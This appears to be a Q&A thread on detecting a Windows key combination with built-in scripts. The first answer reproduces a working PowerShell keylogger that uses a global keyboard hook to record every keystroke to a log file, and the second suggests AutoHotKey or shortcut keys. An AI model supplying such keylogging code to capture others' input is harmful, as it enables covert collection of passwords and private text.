Best way to detect key combination in windows usin

Question

I was thinking of a scenario to detect a key combination [preferably window key + a] using the built in scripting languages like vb script, powershell script, batch script etc.. is there any way to do this ?

Answer 1

To do this via powershell or other built-in tools seems to be quite ambitious.

What you're going to need to learn about are "System Hooks" which are used in the Windows operating system to keep track of things that are going on outside the running program or script. I found this link on the subject, it's something I'm still trying to learn myself so I can't promise it's a good explanation: http://www.codeproject.com/Articles/6362/Global-System-Hooks-in-NET

Here is an example of a powershell script to operate a keylogger, it records all keystrokes and sends them to a log file:

http://hinchley.net/2013/11/02/creating-a-key-logger-via-a-global-system-hook-using-powershell/

Add-Type -TypeDefinition @"
using System;
using System.IO;
using System.Diagnostics;
using System.Runtime.InteropServices;
using System.Windows.Forms;

namespace KeyLogger {
  public static class Program {
    private const int WH_KEYBOARD_LL = 13;
    private const int WM_KEYDOWN = 0x0100;

    private const string logFileName = "log.txt";
    private static StreamWriter logFile;

    private static HookProc hookProc = HookCallback;
    private static IntPtr hookId = IntPtr.Zero;

    public static void Main() {
      logFile = File.AppendText(logFileName);
      logFile.AutoFlush = true;

      hookId = SetHook(hookProc);
      Application.Run();
      UnhookWindowsHookEx(hookId);
    }

    private static IntPtr SetHook(HookProc hookProc) {
      IntPtr moduleHandle = GetModuleHandle(Process.GetCurrentProcess().MainModule.ModuleName);
      return SetWindowsHookEx(WH_KEYBOARD_LL, hookProc, moduleHandle, 0);
    }

    private delegate IntPtr HookProc(int nCode, IntPtr wParam, IntPtr lParam);

    private static IntPtr HookCallback(int nCode, IntPtr wParam, IntPtr lParam) {
      if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN) {
        int vkCode = Marshal.ReadInt32(lParam);
        logFile.WriteLine((Keys)vkCode);
      }

      return CallNextHookEx(hookId, nCode, wParam, lParam);
    }

    [DllImport("user32.dll")]
    private static extern IntPtr SetWindowsHookEx(int idHook, HookProc lpfn, IntPtr hMod, uint dwThreadId);

    [DllImport("user32.dll")]
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);

    [DllImport("user32.dll")]
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);

    [DllImport("kernel32.dll")]
    private static extern IntPtr GetModuleHandle(string lpModuleName);
  }
}
"@ -ReferencedAssemblies System.Windows.Forms

[KeyLogger.Program]::Main();

Hopefully this points you in the right direction and you're able to get something working out of this!

Answer 2

I personally love AutoHotKey you create a script and it will detect any key combination. It is fast and easy to use and I have dozens of key combinations that I have scripted and use every day.

If you must use a built-in scripting language, then the easiest is to create the desired script in whatever language that you prefer (for ex. PowerShell). Then create a shortcut that will run your script (for ex. something like powershell.exe -file "c:\myScript.ps1").

Then after testing your shortcut and script, go to the Shortcut's properties, and there is a "Shortcut key" field that you can bind a key combination to.

Using built in languages is a bit more cumbersome, and you have to have a separate script and shortcut for each key combination. Compared to AutoHotKey which you can combine all your key combinations into one file.